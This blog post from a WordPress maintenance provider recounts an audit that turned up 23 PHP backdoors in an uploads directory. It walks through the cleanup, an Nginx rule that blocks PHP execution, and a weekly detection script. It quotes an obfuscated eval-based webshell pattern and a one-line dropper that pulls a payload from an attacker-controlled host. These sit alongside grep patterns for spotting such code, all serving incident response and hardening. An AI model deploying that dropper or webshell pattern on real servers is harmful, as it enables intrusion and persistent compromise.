How I Found 23 PHP Backdoors in a WordPress Uploads Directory — And the Nginx Rule That Would Have Blocked Every One

· 11 min read

A client asked me to do a security audit after reading about the Breeze Cache vulnerability (CVE-2026-3844) earlier this year. They were running Breeze on three of their WooCommerce stores and wanted to know if they'd been hit. They hadn't — they'd updated to 2.4.5 within days of the patch. But while I was checking their servers, I found something worse.

Twenty-three PHP files sitting inside wp-content/uploads/ across two of their sites. Files that had no business being there. Files that had been there for months.

What WordPress Uploads Should Contain

The wp-content/uploads/ directory exists for one purpose: storing media files. Images, PDFs, videos, audio. WordPress writes to it when someone uploads through the media library, and plugins write to it for generated files like PDF invoices or CSV exports. There is no legitimate reason for a PHP file to exist in this directory.

I started with a simple check on each site:

find /home/client/public_html/wp-content/uploads/ -type f -name "*.php" -o -name "*.phtml" -o -name "*.php5" -o -name "*.phar"

Site one returned nothing. Site two:

/home/client/public_html/wp-content/uploads/2025/09/wp-tmp-cache.php
/home/client/public_html/wp-content/uploads/2025/09/.sess-a7f3e2.php
/home/client/public_html/wp-content/uploads/2025/11/class-image-handler.php
/home/client/public_html/wp-content/uploads/2025/11/content-manager.php
/home/client/public_html/wp-content/uploads/2026/01/index.php
/home/client/public_html/wp-content/uploads/2026/01/wp-upload-handler.php
...

Twenty-three files total, spread across four monthly subdirectories. The naming was designed to look legitimate — wp-tmp-cache.php, class-image-handler.php, content-manager.php. At a glance, they could pass for WordPress core files. They weren't.

What the Files Actually Did

I copied them to a quarantine directory and inspected each one. They fell into three categories.

Webshells (9 files). Full file managers that gave an attacker browser-based access to the entire filesystem. Most used layered obfuscation — base64-encoded strings run through gzinflate() and then eval(). One typical pattern:

<?php $a = 'base64-encoded-string-removed'; eval(gzinflate(base64_decode($a))); ?>

After decoding, these expanded into 200-300 line scripts with file upload forms, command execution, database browsers, and network scanners. A complete toolkit for post-exploitation.

Spam mailers (8 files). PHP scripts that used the server's mail() function to send bulk email. They accepted POST requests with recipient lists, subjects, and HTML body content. The server had been quietly sending phishing emails for months — the client's IP reputation on Spamhaus was already damaged.

Dropper/loaders (6 files). Small scripts that fetched additional payloads from external URLs. A few were as simple as:

<?php file_put_contents('shell.php', file_get_contents('http://attacker-controlled-domain/payload.txt')); ?>

These act as reinstallation mechanisms. Even if you find and delete the webshells, the dropper fetches a fresh copy on the next request. This is why cleanup without addressing the entry point is pointless — the backdoors come back within hours.

How They Got There

The access logs told the story. I filtered for POST requests to the uploads directory:

grep "POST.*uploads.*\.php" /var/log/nginx/access.log* | head -20

The earliest hits pointed back to September 2025 — eight months before the audit. Cross-referencing the timestamps with the plugin changelog, the initial upload coincided with a known file upload vulnerability in an older version of a contact form plugin on the site. The plugin allowed unauthenticated users to upload files with insufficient type validation. The attacker had uploaded a single PHP dropper disguised with a .jpg.php double extension, then used it to deploy the rest.

This is not an unusual pattern. In 2026 alone, I've seen file upload vulnerabilities in the Breeze Cache plugin (CVE-2026-3844, CVSS 9.8, 400,000+ sites affected), the Ninja Forms File Upload extension (CVE-2026-0740, 50,000+ installs), and multiple smaller plugins. The Breeze vulnerability was particularly nasty — the plugin's Gravatar caching function fetched a remote URL and saved the response to the uploads directory without validating the file type. An attacker could make the server download a PHP webshell instead of an image, and because the file landed in a directory where PHP execution was allowed, visiting the URL directly gave them code execution.

Every one of these vulnerabilities shares the same underlying problem: a PHP file ends up in a writable directory where the web server happily executes it. This is the kind of infrastructure-level gap that proactive security monitoring is designed to catch before attackers do.

The Cleanup

First, I quarantined every suspicious PHP file:

mkdir -p /root/quarantine/$(date +%Y%m%d)
find /home/client/public_html/wp-content/uploads/ \
  -type f \( -name "*.php" -o -name "*.phtml" -o -name "*.php5" -o -name "*.phar" \) \
  -exec mv {} /root/quarantine/$(date +%Y%m%d)/ \;

Next, I checked for PHP code hidden inside image files. Attackers sometimes embed PHP in EXIF data or append it to legitimate JPEG files:

grep -rl "<?php\|eval(\|base64_decode\|system(\|passthru(" \
  /home/client/public_html/wp-content/uploads/ \
  --include="*.jpg" --include="*.png" --include="*.gif" --include="*.ico"

This found two more — a .ico file and a .jpg file with PHP code appended after the image data. Both would execute if the server was configured to process them as PHP.

I then verified WordPress core integrity:

wp core verify-checksums --path=/home/client/public_html
wp plugin verify-checksums --all --path=/home/client/public_html

Two plugins had modified files. I reinstalled them cleanly:

wp plugin install contact-form-plugin-name --force --path=/home/client/public_html

Finally, I rotated every credential — WordPress admin passwords, database credentials in wp-config.php, SMTP API keys, and the server SSH keys. If an attacker had shell access for eight months, everything is compromised until proven otherwise. I've written about a similar credential rotation process after a separate server compromise — the checklist is the same regardless of how the attacker got in.

The Fix: Block PHP Execution in Uploads

The cleanup addresses the symptoms. The actual fix is a server-level rule that prevents PHP execution in the uploads directory entirely. Even if an attacker manages to upload a PHP file through a future zero-day, the server refuses to execute it.

For Nginx, add this inside your server block:

location ~* /wp-content/uploads/.*\.php$ {
    deny all;
}

This matches any request for a .php file anywhere inside wp-content/uploads/ and returns a 403. The rule sits at the server level — it cannot be overridden by a .htaccess file or a plugin. It is the single most effective hardening measure I apply to every WordPress server I manage.

For broader protection, I also block execution of other potentially dangerous extensions:

location ~* /wp-content/uploads/.*\.(php|phtml|php5|php7|phar|shtml)$ {
    deny all;
}

For Apache with .htaccess, create or edit /wp-content/uploads/.htaccess:


    Require all denied

The Nginx approach is stronger because the config is not in the web root — a compromised WordPress installation cannot modify it. Apache's .htaccess can be overwritten by an attacker who already has file write access, which is exactly the scenario you are defending against.

After applying the Nginx rule, test it:

echo "<?php echo 'test'; ?>" > /home/client/public_html/wp-content/uploads/test-block.php
curl -s -o /dev/null -w "%{http_code}" https://clientsite.com/wp-content/uploads/test-block.php

You should get 403. If you get 200, the rule is not being loaded — check your Nginx config and reload:

nginx -t && systemctl reload nginx

Delete the test file after confirming.

Ongoing Detection

Prevention is the priority, but I also run a weekly scan for PHP files in uploads across every server I manage. This catches anything that slips through before a plugin vulnerability is publicly disclosed:

#!/bin/bash
SITES_DIR="/home"
ALERT_EMAIL="[email protected]"

for site in "$SITES_DIR"/*/public_html/wp-content/uploads; do
    [ -d "$site" ] || continue
    FOUND=$(find "$site" -type f \( -name "*.php" -o -name "*.phtml" -o -name "*.phar" \) 2>/dev/null)
    if [ -n "$FOUND" ]; then
        SITE_NAME=$(echo "$site" | cut -d'/' -f3)
        echo "PHP files found in uploads for $SITE_NAME:" | mail -s "ALERT: PHP in uploads - $SITE_NAME" "$ALERT_EMAIL" <<< "$FOUND"
    fi
done

I run this via system cron every Sunday at 03:00. On servers with Uptime Kuma or a Telegraf monitoring stack, I pipe the results into an alert channel instead of email.

For a deeper scan that catches PHP embedded in image files:

find /home/*/public_html/wp-content/uploads/ -type f \
  \( -name "*.jpg" -o -name "*.png" -o -name "*.gif" -o -name "*.ico" \) \
  -exec grep -l "<?php\|eval(" {} \; 2>/dev/null

This takes longer but finds the sneakier variants.

Why This Is Not Optional

WordPress's architecture makes the uploads directory writable by the web server — it has to be for media uploads to work. Every file upload vulnerability in every WordPress plugin can potentially drop a PHP file into this directory. Blocking execution there doesn't break any legitimate WordPress functionality. No theme, no plugin, no core feature needs to execute PHP from inside wp-content/uploads/.

Yet on the 70+ sites I manage, roughly a third of the servers I onboard for the first time don't have this rule in place. It is a 30-second configuration change that eliminates an entire class of attack. The CVE-2026-3844 Breeze Cache vulnerability that prompted this client's audit would have been completely neutralised by this single Nginx rule — the webshell would have been downloaded, but the server would have refused to execute it.

I add this rule to every server I onboard into my maintenance plans before doing anything else. It is, per minute of effort, the highest-impact security hardening you can apply to a WordPress server.

Stop Firefighting. Start Maintaining.

I manage 70+ WordPress sites for agencies and businesses. Whether you need ongoing maintenance, emergency support, or a one-off security audit — I can help.

View Maintenance Plans | Get in Touch

Stop Firefighting. Start Maintaining.

I manage 70+ WordPress sites for agencies and businesses. Whether you need ongoing maintenance, emergency support, or a one-off performance fix — I can help.

View Maintenance Plans Get in Touch

Get in Touch to Discuss Your Needs